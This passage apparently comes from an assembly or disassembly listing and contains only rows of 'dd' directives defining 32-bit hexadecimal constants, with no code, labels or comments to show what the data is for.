		dd 61D86A1Dh, 0E5BCD277h, 822FFC2Ch, 758BC9CCh,	547B99C3h
		dd 7EA1740h, 9543643Eh,	66F096A4h, 0BD5C5A1Dh, 0EBDF2B9Dh
		dd 0BD6EAF4Fh, 77CAC1A8h, 51DD1496h, 0A3B67DAAh, 54A5BCE2h
		dd 0FB565C28h, 0FD7AD857h, 0ABBA2F5Ch, 0C781FB3Dh, 157F4411h
		dd 0C1A4E2BEh, 0C070983Eh, 0AA9BE7Ah, 2B742CC3h, 0D09B929Fh
		dd 984B6599h, 9E25C2D5h, 0F925F42Fh, 65960498h,	4AFD1935h
		dd 9B1514CCh, 4ADF28DDh, 0D8336077h, 0F10E3DB0h, 3DEE798h
		dd 4BD0907Bh, 0ED981A5Eh, 15CB4D31h, 0D14C6374h, 0CAB5D75Ch
		dd 0C35196ABh, 3433B8F0h, 1D72326Dh, 0B663CE21h, 0FF7D6BB5h
		dd 7C8541EBh, 55935D0h,	0ACA06BADh, 1422F36Fh, 0BCA83F15h
		dd 0DE5C254Eh, 0C090438Fh, 88CA525Fh, 9BF8F7C4h, 1B4858DBh
		dd 60A56600h, 0D898C625h, 0E0D2EFC8h, 0CC147C37h, 624F6AFAh
		dd 0EAB12039h, 234C3C84h, 6E5A9C05h, 8B127F55h,	0E84AF287h
		dd 424383BAh, 47389235h, 5FBECA82h, 68B035A2h, 0A7376984h
		dd 6A7B0BB6h, 267B3137h, 1BEA90E8h, 2108F019h, 85F12844h
		dd 8EB0146Eh, 5591F15Eh, 5366944Ch, 7CA584D3h, 0F51C3C2Fh
		dd 4581D44Bh, 5106688Fh, 6A5DEF5Ch, 0B9ADAEF9h,	0A21BF0A2h
		dd 0B7008182h, 11E28603h, 4874790Ch, 56F3C9Fh, 3052FD93h
		dd 0C27F6E9Ah, 891741F9h, 0DA08FAB8h, 21054C7Eh, 49384B63h
		dd 5CAF2361h, 37C7EC3h,	0A8A2E419h, 1AA71B5h, 1F7B78A8h
		dd 90F3D2E4h, 0B5C28115h, 2AAE35FAh, 38E95534h,	828FD909h
		dd 23D02248h, 51165CCFh, 0EA720738h, 5A24EA03h,	0C2C83194h
		dd 0D48FE609h, 498F12CAh, 31E442F3h, 3F8389BFh,	3070C19Fh
		dd 0C589CE8h, 6B13E4D4h, 66E56EA8h, 0DE6B3072h,	925591CDh
		dd 32D4C1h, 2C999AEEh, 677B4C36h, 0E1B3B439h, 0BEB095A7h
		dd 7EC773A3h, 883A3536h, 0D6DA0F43h, 0F99E4665h, 3B7970FEh
		dd 1863ADFCh, 81CF479Bh, 0CE048727h, 230C8C5h, 0A099642Ah
		dd 0EE27D04Dh, 0D90EBC7Eh, 0AEFBDDECh, 91380DFEh, 21057572h
		dd 36AED410h, 0BB9777B5h, 0A6AA6820h, 405818Fh,	863CB39h
		dd 3CAEC64Ah, 0AC2B31D4h, 0CB272B9h, 9B54057Ah,	97ED810Ah
		dd 0A4913418h, 4B365B52h, 891C8ECAh, 76087B66h,	0F9CB2h
		dd 57A989B7h, 0D690ADC9h, 7B06301h, 4ACC320h, 759CCC09h
		dd 47D38DC7h, 3376D6C8h, 9199920h, 0B835D1CCh, 0E1C591B6h
		dd 1DAE2933h, 0FE527A8Dh, 2EC3EE38h, 79121405h,	673DF9E6h
		dd 790354C5h, 6BA69B19h, 0A29D46D5h, 0BD3C9A71h, 7F92F202h
		dd 0DFC21F6Dh, 7ECCF8D7h, 8B1ADF4Eh, 7C37D105h,	0A0C0A167h
		dd 9AA743E8h, 168F46E3h, 9CFE4BADh, 4DF11DA8h, 1DEF5EFBh
		dd 99D74F51h, 0FEF05643h, 34713B46h, 1168E4A8h,	9CFB8488h
		dd 0A724A1B4h, 50E69516h, 0B860CB33h, 0E35356FFh, 41BFB2D7h
		dd 907CD5BCh, 159B32FFh, 996B65F3h, 0F2731E5Fh,	59F5D82Eh
		dd 0EC06E8F4h, 4A8B7924h, 0DB9EC2A5h, 180BABDAh, 7F912F8h
		dd 1E9EA1D2h, 89FD802h,	0C9D21153h, 170E456Dh, 9F4F243Dh
		dd 9F0EDEF3h, 809C7236h, 0D5351EE8h, 0E0D9E15Fh, 3D8767A6h
		dd 0EB4DA9F8h, 0DFBE2AACh, 570929A4h, 9966FAE1h, 0AF44F82Eh
		dd 1CD9DEE4h, 2F1481FBh, 3F0F5BA5h, 64B42AE4h, 0B54228DFh
		dd 8E795757h, 0CE23E180h, 22B11A0Eh, 58A7FF99h,	0C2C58A9Ch
		dd 0D29072B1h, 44573B61h, 3E0511C1h, 0AC56510Dh, 0E9FAB9E7h
		dd 96F02F95h, 6638012Fh, 86FE0077h, 0D16108A7h,	4A420495h
		dd 7303CFF3h, 0EF1B5480h, 3B2D36CCh, 5EF036FCh,	12663BA6h
		dd 2E7219A2h, 4C58F44Ch, 14D0C7h, 87E9C425h, 27B36E30h
		dd 0E48C891Dh, 0E0313B2Eh, 4B992567h, 839577B9h, 81C2600Bh
		dd 7899B06Ah, 0FC925D8Bh, 7CCC0B1Bh, 6BEEBDEBh,	0CD500675h
		dd 0EDF0378h, 0FF9AE67Fh, 3C698250h, 4F752D4Dh,	24C84A20h
		dd 3B078AC5h, 0FEFC804Bh, 16E7288Bh, 0A265092Eh, 78891B82h
		dd 1A5AC994h, 3EAD1DD4h, 121FF71Dh, 0C29E8617h,	0AED57F3Ah
		dd 9D09F70h, 8CB43758h,	9B0EFA2Fh, 53B1A892h, 2BD961DDh
		dd 0DF37926Dh, 68A249C0h, 94BB70Bh, 576A7C96h, 65E710C1h
		dd 9B6E9855h, 28800DCBh, 0C5F79CC0h, 2413CA1Eh,	23382802h
		dd 0CABE6203h, 0A98209FBh, 2E53C515h, 5DB06393h, 0B51BC40Eh
		dd 0E24D3AA2h, 149142EEh, 3EBB8776h, 68F9A647h,	0D9E2F922h
		dd 82CA8640h, 0F67C4958h, 0F194CF35h, 9D1730D5h, 6C074E30h
		dd 86875FFEh, 58132893h, 38389E86h, 1154E261h, 0BD6C7710h
		dd 0DBD70E31h, 2EB97D0Eh, 0F3605A96h, 0D22C868Ah, 0C21709CCh
		dd 6712D7E4h, 9D7CC2F7h, 0C68CF72Fh, 0A5C2751Ah, 8F59EB34h
		dd 85E76E3Dh, 8D9AAE8Ah, 0A50FAE24h, 0E4C392B6h, 6C340449h
		dd 74916B97h, 0E5FECD48h, 19D92B49h, 0A0BEECB0h, 9CE6EA0Ah
		dd 0C294D91Ah, 0AC4A90BDh, 2BFCE9FBh, 0C5DC17E2h, 7CDC4502h
		dd 0FAA797ABh, 59A02F79h, 0CC4A2E5Ch, 6C0D91C8h, 0C56246E3h
		dd 593CF37Ah, 0E72DA205h, 8630BCF8h, 0EC5092C3h, 0B95EA997h
		dd 0FDCF3F4Bh, 46F03769h, 2C64ABAEh, 5AC58FFAh,	0D21481EBh
		dd 6D490EF9h, 4DB55190h, 2F0BD024h, 2DBE0D80h, 0B8D79360h
		dd 51B49C61h, 43562AE8h, 0AA64051Bh, 764F87BFh,	4B2B0D92h
		dd 394CB66Bh, 17B8CBF7h, 0F06046ABh, 0FF2CF5B7h, 0B924A0C9h
		dd 6F72BBF4h, 81B702A8h
		dd 5FD4D0C8h, 0AEC0C999h, 91557901h, 342C2DDDh,	0CB250790h
		dd 5DA64798h, 52B9DCDAh, 15F3BFB0h, 59A4454Ch, 0A0BE57B1h
		dd 841D9C0Eh, 26EEF5Eh,	51A1A1B2h, 44F00993h, 577F940Eh
		dd 0CD6AD3F6h, 1E7BF2FFh, 6E9EFCCDh, 0FDCFD680h, 0B861D708h
		dd 0DE3D3C25h, 0D8CE8D4Ah, 2C4F5A6Eh, 0F914DA91h, 1B55771Dh
		dd 0A38F0DFh, 30E612EFh, 0F2279AD5h, 17D49D51h,	0B2B5C057h
		dd 99D05A1Fh, 76DA5996h, 9C3A6FACh, 0A17BBFD7h,	8981CA64h
		dd 8BDA865Ah, 0C584E737h, 44F6DA22h, 71EA6360h,	8D4C6DA5h
		dd 0D6D1C2Ch, 564FC2F9h, 28A84FCEh, 2FD15A51h, 1E72BBA7h
		dd 95A6EAD0h, 9FE2CA6Bh, 3616B2Dh, 44314760h, 78CC2FADh
		dd 0F579E03Dh, 0E20551DAh, 0B909EB09h, 0F221114Eh, 0A9EBB664h
		dd 82C394EFh, 2E14616Ah, 9E746865h, 0E67B98F7h,	740F111Dh
		dd 0FF7C0216h, 2458A953h, 4BA9AD61h, 8D531859h,	65926658h
		dd 0D4A2EB58h, 59487EC1h, 0D7E5C5CFh, 0BDAB3C28h, 90BDF5F1h
		dd 493D4642h, 0CE7F21ECh, 3CE800B9h, 0EF94BBB3h, 4FAA3C9Ah
		dd 0A8FE3BD1h, 73BFD50Bh, 66926896h, 56AAE5AAh,	42D9510Eh
		dd 10D9757Ah, 0EA1AE83h, 99B10E58h, 65D9F443h, 0C4AB71B0h
		dd 4A77B599h, 5DC30B56h, 7872B8A6h, 7F3B1AC2h, 82815241h
		dd 0B5AA974Ch, 53C4D889h, 97DB3A27h, 0CBBD876Ch, 83FEE3F6h
		dd 0D8CC4189h, 66937CA2h, 0F9ACF762h, 7E8A208Ah, 0FB71CDF5h
		dd 0A3643538h, 0D4C962ACh, 0A163F0F6h, 86903849h, 95D5A3Ch
		dd 0A63ED7D0h, 0D68ABF3Ah, 0D29A8861h, 646928C1h, 0ACECF116h
		dd 0C6C9449Ch, 0FF493E35h, 0EBF8D4A9h, 2E0E75EEh, 32946353h
		dd 0FB4161Ch, 3FE5AD6h,	0D3A7CFE7h, 9D172A84h, 15217BF2h
		dd 7A65F0B0h, 0AD20565Eh, 9D457AF1h, 77DE8F64h,	0E47FAF2Eh
		dd 0DEDA532Fh, 5B467CDEh, 46657587h, 5B67CCFEh,	0C32C53CBh
		dd 8F9DA33Dh, 9B5D7717h, 0C1BC74A1h, 6A056553h,	3047EE9Fh
		dd 0C638D895h, 560C126Fh, 327A70B6h, 7AED7242h,	0C6B1451h
		dd 313F848Eh, 4E9E89FFh, 0A33AFEA6h, 0F9B50B37h, 5562BDEEh
		dd 3CC4449Fh, 0CCB79907h, 0D5F80A2Fh, 152FD6E6h, 65B4CDE5h
		dd 38C6935Ah, 8937F3FBh, 97038FBBh, 6F3B736Fh, 0D864B5B5h
		dd 0C3176D6Ah, 0B39B5F04h, 7F9231DAh, 578D770Bh, 920C2066h
		dd 1338407Eh, 26DF424h,	6AF5D95Bh, 5764B3E5h, 6E90709Dh
		dd 7634FC1Ah, 9B5BE206h, 4D11A80Dh, 0C349F091h,	19C3EDD9h
		dd 0BE6FB1C7h, 0FD8DB807h, 3212C5C1h, 8C5506A3h, 0CC706F2Ah
		dd 0E0B99089h, 4DE535Eh, 0B55FCAF2h, 18FE95BBh,	0A04E1943h
		dd 0DBA98F18h, 29068DBBh, 0CB5B1803h, 0A3F9D898h, 5D46611h
		dd 0F86B2004h, 0B674BF30h, 0C4F9A8F6h, 63D650BEh, 706BB7B9h
		dd 6242205Eh, 33EBA993h, 0BDA4762Fh, 0BF213F31h, 4045D44Dh
		dd 0E2EADF63h, 7A90BB87h, 4ED734AFh, 7B3D73EDh,	0B111F9BBh
		dd 0A4E774A5h, 1F21EF2Ah, 49B28318h, 83D14845h,	4969ED19h
		dd 0D6D58B07h, 0D4A6138Dh, 9AB12336h, 70638819h, 8D2D72BAh
		dd 0F978C090h, 1F557D9Ah, 40A2CC48h, 303BEA78h,	972379D8h
		dd 0E4227D88h, 0BC7537CAh, 2588DBF7h, 45A585FDh, 7AA97662h
		dd 2C23A06Ch, 65EA4295h, 0C9013ECCh, 782FE627h,	2B76C5D0h
		dd 860CD99Eh, 0A40B1B5h, 5F73F7F4h, 1F1240FAh, 85AC9E03h
		dd 8641DEA1h, 295B8997h, 18BA4285h, 0CD03687Fh,	41ED1A09h
		dd 490CFF65h, 0DDE72C77h, 0FED3CB56h, 0DEF4F955h, 0A2332496h
		dd 8DC60903h, 747F8537h, 12DC567Fh, 5B91ECFAh, 0F7F04CA9h
		dd 0AC07A43Dh, 7051D8E1h, 0A5EEC767h, 693C93D3h, 0D1CD5052h
		dd 27A09C81h, 0C37026F2h, 0CCB5AEAFh, 1FFC1CE5h, 82A5E9E4h
		dd 5893753h, 0D2CC47DDh, 6C438A1Dh, 301D901Ch, 0FA28B16Dh
		dd 9E4DA2D5h, 1919FA76h, 68D72460h, 0C8AEB581h,	490B628Eh
		dd 938F6C67h, 421109A1h, 0AA1F821Ah, 0D388300h,	2B1E5BCDh
		dd 0BFD057BFh, 9EDDA569h, 6FB6DAA6h, 0CF4C3A58h, 11696470h
		dd 60242A41h, 47555026h, 1E1ED6B8h, 23544298h, 30BEFA72h
		dd 0A3C4159Eh, 0BC8C3F4Ch, 3B5FD367h, 70E6B74Fh, 317DE8A1h
		dd 8D961BCDh, 0CC5D7F1Dh, 8964D73Ah, 9756C7CDh,	0D686374Bh
		dd 4048A543h, 0A39A1FDEh, 0A605D2CBh, 0E439863Fh, 2B79C833h
		dd 83004FF1h, 61EB8431h, 0FAAEB060h, 0B0CDE85Bh, 8C860FDFh
		dd 0B8ADE21Ah, 73F212C5h, 467AC36Bh, 289BF417h,	5043C9CAh
		dd 3AD25BAEh, 72E3D843h, 0B23B735Eh, 499B0AF9h,	0DEC0143Eh
		dd 3557E571h, 5834C306h, 4ED664C7h, 0DB9C4B9h, 87894AC8h
		dd 40332196h, 75415DD3h, 0C25BEC5Dh, 4684E92Eh,	0E6CF7535h
		dd 0F658A546h, 0F2C6AA7Eh, 18FE64EEh, 2574689Fh, 69DD1004h
		dd 0C2E62619h, 4CBB9C9h, 0D14F8698h, 0C9076D59h, 77921881h
		dd 0B197373Fh, 3C89E3FFh, 7B68255Eh, 0D9A0A8Dh,	85C6C61Dh
		dd 2A501859h, 0FCDEA3A6h, 948DE4D9h, 0DB9B976h,	7288604Fh
		dd 3BC33AB4h, 2EACC7A4h, 0B55B7818h, 611A1B00h,	883FD973h
		dd 9ADFEB0Bh, 0F788684h, 5BE45746h, 2844A103h, 422665BAh
		dd 0AFB50073h, 0CFBA25AFh, 0DF8327E6h, 0BFBB752h, 18FB8FEBh
		dd 8D41FDE8h, 0CD52829Dh, 8921682Dh, 0D98758CFh, 0F779595Ch
		dd 32D20613h, 0AD90953Ch, 3CB4F6ACh, 47DE1570h,	662C2C20h
		dd 0E8ED9893h, 71FEB30Fh, 0B1A355FFh, 0CEBB7183h, 0FC3BCB6Fh
		dd 1DDCAA7Ch, 0C092746Fh, 6E5B5085h, 68F98292h,	470FAE65h
		dd 0AD274AA0h, 92576789h, 0A7AEE6AAh, 4ABCE203h, 34CD4B49h
		dd 7016824Ah, 6AA19703h, 5389EB6Fh, 19FA1BAh, 0D92EA212h
		dd 4CE02BC2h, 0D5F9DAECh, 0F7C6F1BAh, 82134F62h, 5DE3CFCAh
		dd 194BBE50h, 63EA827Dh, 8289267Bh, 0F6F71389h,	6B0741DDh
		dd 0E73F1EAEh, 0F646AF8Ah, 9E0604B0h, 0DCCF2C95h, 86910D61h
		dd 0EE7F57D9h, 0B307891Dh, 0BB3EC866h, 65FD4E37h, 5D395BBh
		dd 733D1310h, 0EA79F80Fh, 1932DA3Fh, 70411AF3h,	0F020F2B2h
		dd 677FB50Bh, 0E449D51Ch, 0D7570D33h, 0D019D036h, 873805CFh
		dd 5C67CE30h, 0C411E3B0h, 0B4529B95h, 0FE56E782h, 0D02610Bh
		dd 8AD1C21Ch, 7569ABF9h, 0E02DC545h, 52D4678Ah,	0C185EFDCh
		dd 42C7A5Dh, 0B624E605h, 7ACD8D06h, 0A5505CF8h,	0F3AB7CD5h
		dd 0C22335FFh, 0D151243Eh, 7035947Fh, 2BCC82CDh, 0FA35AD94h
		dd 0A5CAAA26h, 0C43EEDCFh, 6354DC69h, 7EE0B695h, 97E9A229h
		dd 3CF19D8Fh, 38F895DDh, 11B81AFAh, 1AC0DCEAh, 0A7F68B9Ah
		dd 123E29B4h, 0C8E8D2CBh, 4EB7C442h, 0FF470E42h, 92F2DDC3h
		dd 0E598617h, 161851C8h, 0DEACEE78h, 0CC1AF93Bh, 3DBDA282h
		dd 0C6069467h, 4B884678h, 3F533D88h, 0D851A3A3h, 0F0283E36h
		dd 6836892Ch, 2E9FF0E0h, 0D54E3E9Eh, 6D6305BBh,	0A2A4C81Dh
		dd 0D2AF5654h, 237CE798h, 6C61E81Ah, 91D53E9Fh,	39BD6651h
		dd 3C647DD1h, 53E8DA46h, 1837CC77h, 96A24694h, 9BFD3A2Ah
		dd 5D202B60h, 0BBD3EB1Ah, 8299309Ch, 91311DE7h,	0E43A8E72h
		dd 35FD60C0h, 0EFA09CB1h, 750F421Dh, 5CFA1EBh, 6EB7D443h
		dd 2A695539h, 0EB68F5A2h, 0C22D6315h, 0B5B3B31Fh, 0DC47E44Eh
		dd 0B1C93EC3h, 0B285D67Dh, 0CFC185ECh, 0F964838h, 2B87B3C9h
		dd 930628C0h, 0DCE651CFh, 0F02014FBh, 0AC73AEDAh, 7F35D72Ch
		dd 93884B5Eh, 9CEC83FFh, 4D22E5A9h, 0F9C6CF57h,	2AC575D2h
		dd 0E42313D7h, 8FE2ADCCh, 229345FAh, 833B657Eh,	5E12AC52h
		dd 0D707C402h, 5EFD2364h
		dd 97F47604h, 0F187C5B9h, 2E06D68Ch, 1761BA00h,	21876750h
		dd 6F5FBC4Fh, 5A5FA492h, 43C7BC6h, 428BDCE1h, 0E5B22BCBh
		dd 84B3473Ah, 609E3FCCh, 0CEEB7322h, 111171Bh, 8FB83CDEh
		dd 56D0632Eh, 0F93D918Eh, 22B9EF28h, 6D681C5Eh,	38E12F8Eh
		dd 0A1D1E201h, 24EF3320h, 0DADF9A75h, 6A4A368Fh, 340524E7h
		dd 0A9AC5B70h, 2B14DD6Fh, 6076280Fh, 0F2E1D7BDh, 38BADF47h
		dd 0B4F93698h, 697E6B2Ah, 0B7BEDD19h, 0FD50BD25h, 4B989775h
		dd 103CF15Bh, 36FFBE53h, 0F315B56Fh, 7A869514h,	0DECB1BF6h
		dd 1314C9DEh, 0E99EF289h, 2B0C4160h, 1E3B03BCh,	3E7C9738h
		dd 0A5CAFE0h, 0C6818CECh, 171D937Fh, 622A6C8h, 0F1FE9D81h
		dd 5C8A8C9Dh, 0BFE13549h, 0C6084344h, 6FAB07B9h, 6ECAC489h
		dd 8D766D0Bh, 8AF95374h, 7E7AAF5Dh, 3D8D5B70h, 59AC4CFFh
		dd 0B42BE698h, 0AEA39B4Eh, 2CC6F9AEh, 0F21CFB5Eh, 6CC62047h
		dd 0B2279F50h, 46D4DF3Ch, 178C32DAh, 4FCE3B83h,	0B91CC5FEh
		dd 42ADE8B1h, 220C8020h, 0C3ABE1D1h, 0B654A34Eh, 1106EDECh
		dd 2F637ECFh, 223BF50Dh, 0BD46D2A1h, 0CD5DDF32h, 0EB71C9Fh
		dd 0CFF5B63Fh, 1FA8CBC3h, 24846048h, 0F7EB0204h, 10CD3AF8h
		dd 3DE54789h, 63FFB0A9h, 94C6CA88h, 0FC50E47Ch,	0B659B0A3h
		dd 8732A87Ah, 626A6CEFh, 667473DBh, 0F8E4A41Fh,	0C0A19EBDh
		dd 359D8173h, 67A1C7E3h, 0CCBDDFAEh, 9EA16A4Dh,	0EEBCB53h
		dd 0B482F7FCh, 0AACDBDE1h, 2AD8A7EFh, 5C196433h, 40E1420Bh
		dd 0DE6D7135h, 0F40E322Ah, 3BD201F9h, 319E4D2Fh, 84D40A39h
		dd 0E1C62AC5h, 7EB80CD9h, 0BD76E384h, 0B141E544h, 0C8AC53BFh
		dd 78F5BCD2h, 0C07DD085h, 376B5D3Bh, 85507946h,	8DBBCC1Dh
		dd 7D8132D3h, 0C87E67A4h, 2D9E2FE2h, 0D511B7E0h, 0CAC2023Fh
		dd 0B1BE6C87h, 43D09FBEh, 24FBFDF7h, 8F3AAD9Bh,	219CD2DEh
		dd 2D36A2DBh, 0EFF517EBh, 1D9547CBh, 452EB38Ah,	0AD9A5CE6h
		dd 2F3B8DCBh, 0C566AD7Eh, 37C77A26h, 82B9BC14h,	217809EEh
		dd 315C438Ch, 3F3E56FDh, 0A2F2F285h, 0B4677D44h, 1949711Fh
		dd 0BE7D07F6h, 64708CAh, 22180E30h, 6066DC71h, 2845748Bh
		dd 0BBB34F3Eh, 66CF2820h, 0E7B91AA5h, 10A02506h, 1B24A8FAh
		dd 6F8A6E45h, 84CDEDD0h, 2369ACB2h, 0B60DE594h,	0B13DC744h
		dd 0CBA17D5h, 3B14D935h, 19F01A9h, 5B27D69h, 0BEED1AA9h
		dd 5FCAD3DCh, 0D4E89AD2h, 0F7F3B893h, 4474BDBh,	1553079Ch
		dd 0B30876C2h, 0EECF8782h, 99697055h, 0BC912095h, 432F23B0h
		dd 0A48BEF97h, 190CCEA4h, 6402EAECh, 38D5EB57h,	0E39DA2BAh
		dd 0E50100B9h, 95D0ABCh, 65CFBDBFh, 7051F0E5h, 3527225Ch
		dd 0C9730BEBh, 0D2EF6320h, 7181C29Bh, 4AFC916Fh, 0B622EF20h
		dd 71909291h, 0C62CE33Eh, 949433D3h, 55465327h,	0B11C7AC0h
		dd 1B5101A9h, 336B00B3h, 9872EA8Ch, 584D24D1h, 0C53A31F8h
		dd 6E8F4FC8h, 37428F6Ch, 0BE62810Fh, 4925BA4Bh,	680DC8FCh
		dd 16A07183h, 4644088Bh, 0A2A5D8C9h, 231737B2h,	0CD7C2756h
		dd 15D12883h, 9ADD426Eh, 8D8807E3h, 0A603AB6Eh,	1428DA5Dh
		dd 20069D5Dh, 0C8DB8482h, 0CAB78967h, 0B44F187Ah, 8AFEA0B7h
		dd 6A44C9DAh, 58195DFAh, 0DEAB1B41h, 2687CC72h,	1CD71D16h
		dd 0E289E63Bh, 321C3347h, 623DDA88h, 0C431E639h, 5234E9D4h
		dd 8499C121h, 2D1C82AFh, 84516901h, 7B3048D7h, 9FC29CBFh
		dd 71DE4729h, 0E45C944Fh, 1124C9A5h, 4BB17457h,	0BC0707Dh
		dd 1576BA0Bh, 0E3AC710Dh, 4BBA9B67h, 68F6B0E6h,	0F6267518h
		dd 6411267Ah, 43511803h, 0A76CDDFh, 0F76EC05Dh,	0AABD969Ah
		dd 84DABFDFh, 0ADCEC0DCh, 5D14C212h, 450353A1h,	0B6D6ADFh
		dd 0E3B09115h, 0DC77418h, 0DD584EDFh, 6407AB0Dh, 21F88666h
		dd 4A797154h, 0C0C7B291h, 41780F9Dh, 321B941Fh,	1B9406Ah
		dd 0FADD66FCh, 798E8094h, 7C074A9Bh, 9AA37A94h,	790FE269h
		dd 0DE069A1Ch, 0D229261Bh, 43CDE5A9h, 3844C219h, 0CFCF200Bh
		dd 96FB387Eh, 2AABF57Dh, 203304E5h, 0C7A50555h,	848299Fh
		dd 0A6D02F7Fh, 29B54828h, 0AAA54195h, 60574ADBh, 0FB44D997h
		dd 0A26C07D5h, 0A25D5EC7h, 14E73C9Dh, 745C48A6h, 0A1BBDB7Eh
		dd 0AB9F19EEh, 457EDB9Ah, 2DEB62F9h, 4A0C096Fh,	23707557h
		dd 38AA73E5h, 0E348B903h, 72BB4EF2h, 0CCE7AF0Ch, 8FC1B339h
		dd 574508B2h, 0A25A9392h, 2CAA05D5h, 45CD92Dh, 528BA4E8h
		dd 705F1F15h, 0FC7094B8h, 0B188B35Bh, 6CB751F4h, 7D6A5616h
		dd 3209248Ch, 0C5327926h, 9EC2664h, 0EFD44085h,	0F5C55B5Ch
		dd 0E7765FA6h, 9AB4F947h, 0C188D6FDh, 200359A1h, 0AAB2528Ah
		dd 0ACC23A7Ah, 300A465Fh, 0EA61FDF8h, 812C4F75h, 8373B762h
		dd 0AF0DF8A2h, 0BEC58426h, 28129843h, 42EEB317h, 7FA18658h
		dd 9DDCE711h, 0DA719B03h, 0EA7CBC8Eh, 8A954E25h, 813CEF8h
		dd 6CD96715h, 981782DDh, 0C0C34ADDh, 5FCB86BFh,	0D5AF7530h
		dd 0F2FF7580h, 5BED5932h, 0C4ECCE57h, 59CADE58h, 0CC5CB409h
		dd 6E614FE0h, 5CEF1A4Ch, 4762123Ch, 100F527h, 0F668474h
		dd 617558BEh, 0F3683728h, 3F254799h, 5E2B5C82h,	3F028FECh
		dd 14B1FBE8h, 41184523h, 0F67A21F6h, 0EAD88B22h, 0F947D7E2h
		dd 6E0C90BCh, 9C248543h, 0CABD2F00h, 0D280C830h, 846555C3h
		dd 0F62A5B31h, 0E233D8C4h, 5C2D8FDEh, 0E4B7B349h, 0E3416FE8h
		dd 0EFF042A5h, 0CE741FA6h, 8C92D05Bh, 9C245BCCh, 0F92A84Fh
		dd 3DF2F1E6h, 0E20E898Ch, 7C73800Bh, 0E8F94668h, 51F80EAEh
		dd 7FB8FEEEh, 59009D1Bh, 7A8D0320h, 5D962B0Fh, 0B418A1FAh
		dd 78D818Bh, 0C93531B6h, 3E59793Ah, 74EB7542h, 2A514654h
		dd 7A7F1F6h, 0F3545196h, 0D1ED7266h, 0A27A340Dh, 0B5FB6FE5h
		dd 96CA7C35h, 7C409ACDh, 581BB47Fh, 7B4C59E1h, 1F135CB1h
		dd 8DADDD00h, 0FE4830AEh, 0A9B30A19h, 9C00407Ah, 0BCF741C9h
		dd 1AECB4ACh, 7CF17559h, 1CE5B59Ch, 0ED816731h,	4A5C6FF9h
		dd 161278B6h, 46BACFFCh, 40202FB9h, 0EFE706ABh,	0B676ADB4h
		dd 45CD6F3Eh, 9F176F83h, 0F6697AA7h, 1D712A35h,	233AE817h
		dd 9143F7F0h, 2CD4669Dh, 226C19E1h, 0DBC3FA77h,	58DD5CA4h
		dd 79B77FF5h, 0F1475818h, 6245704Ch, 0BDB03B86h, 7269577Bh
		dd 0B38394EFh, 80B04908h, 0A3C3AC04h, 0EA1CD4FDh, 2A349183h
		dd 5575B1C0h, 0D715C195h, 0B7C9464Ah, 700A5981h, 31CBDE73h
		dd 6668C374h, 4769EC1h,	0D0D17E43h, 0E3DADC45h,	0BAB4A4DCh
		dd 3580EDA7h, 0E681A176h, 784F4300h, 0C6D74BD9h, 0DAAA65D6h
		dd 32AA04D8h, 635F2084h, 48FE13B3h, 9399652Dh, 259D8CC0h
		dd 0C892C053h, 0C100737Ch, 43BF1A8Fh, 0D97C2F7Bh, 78A5E9A5h
		dd 15EBC64Fh, 0CE6EFF80h, 6F8FEE89h, 5AC198DDh,	4ECB9210h
		dd 64B0E551h, 889C2496h, 7371062Ch, 0AF6BCCF6h,	2CB8C189h
		dd 0D33566C3h, 812A7CABh, 6C499EE3h, 0BFF6FAF5h, 0D0E1BDB5h
		dd 2BBE11D4h, 0C498EC68h, 10468C80h, 8E41A6F9h,	0DC477422h
		dd 0A75BA0E5h, 5EFF84E8h, 581255BCh, 1A3761A6h,	0E2BD6A36h
		dd 1DAACF4Ah, 2091F93Dh, 3C4A87BDh, 50B8E233h, 0A141D23h
		dd 32D6354Fh, 4F156EADh, 7EE59AEh, 0F9F6240Ah, 0AF06F741h
		dd 0B9917E98h, 0F430864Fh, 8E50C811h, 9B502384h, 6D9AA868h
		dd 96EE0A37h, 8B52F264h, 0FFAA0Dh, 0A76736F0h, 0E951D78Ch
		dd 853C0077h, 7198C404h, 91B8C988h, 0BD0B9160h,	0CE4DD6F7h
		dd 1E7EB624h, 5A1AA658h
		dd 23C1532Ah, 0B516B8Ah, 0E32DC818h, 56635EF2h,	68BFA3C7h
		dd 16B33E8Eh, 0BFBFA2F2h, 84F266BFh, 6F225721h,	7ECE203Dh
		dd 8FCB0174h, 6CA28762h, 1A0E9293h, 0A18280D8h,	585E3685h
		dd 0D87DEC21h, 0AA507920h, 5A022E75h, 404BD8D1h, 66692B2Fh
		dd 958382BBh, 5930C9Fh,	22112D1Ah, 0D9AF9EC9h, 9D1C07EAh
		dd 2CD2268Bh, 0E5318900h, 8AF8B3AAh, 0D6120ACDh, 999E28C9h
		dd 0A3ACEBAAh, 0DA3565A2h, 0FF9C601Ch, 0B406ADE7h, 0FB87D9D3h
		dd 2FB5B151h, 0B7080755h, 5DA0C3Eh, 2718C3C6h, 25C7AF9Eh
		dd 61096B83h, 96CBD90Fh, 0F4C7EBBBh, 0F9B3607Ah, 0E4ADA93Dh
		dd 0AF7DA7C7h, 68FA077h, 67F58EC8h, 0CA7F4774h,	0E9DC2CEFh
		dd 4EF020E8h, 7CCF363Ch, 2D72EF04h, 0ED88C35Fh,	2D8EA670h
		dd 87AD5636h, 6149789Fh, 0D45AC584h, 132CAC35h,	94EC9C0Bh
		dd 0D9D7EE1Ch, 6CCAD8A5h, 15493681h, 0A7D8D217h, 745C22EDh
		dd 0DDCFB9B5h, 3DF23842h, 44D4B7F3h, 20672AE9h,	0D7E0EF57h
		dd 4751C51Ch, 90F3C054h, 0DCE05E0Eh, 8CEE63C5h,	0DF2E7539h
		dd 15B30B77h, 1B3812D9h, 0C742AD64h, 0BCA09047h, 7F42659Bh
		dd 0BB7108A7h, 379E120Ch, 9CFE19E8h, 47159188h,	47D50E78h
		dd 0F8F344D4h, 0CAE334F5h, 0A70E5C8Fh, 0AD74EB55h, 0E6AD824Bh
		dd 54C002E8h, 8E9A847Bh, 0CD91D316h, 6088531h, 654ECECCh
		dd 0B5D511E7h, 575D0811h, 0EA685B7Ah, 0E715DF55h, 0AE3AA9C3h
		dd 0E8ED29DCh, 0CC3378FFh, 8BFD5CA7h, 9BC95C31h, 0D8ED1EF1h
		dd 26381F38h, 0DE7D917Ah, 0E5EEC7A2h, 0A426D2E3h, 2123D1A8h
		dd 527B7CC3h, 6DBAA97Ch, 0A7EF1A9Fh, 1AD5BB4Dh,	9AE42ABAh
		dd 89577A32h, 25E7D4E7h, 0C9CA7CE1h, 95BA470Bh,	0E87665A7h
		dd 7784AE7Ah, 6AC08ED8h, 639F0A9Ch, 649662C8h, 0B1AF5430h
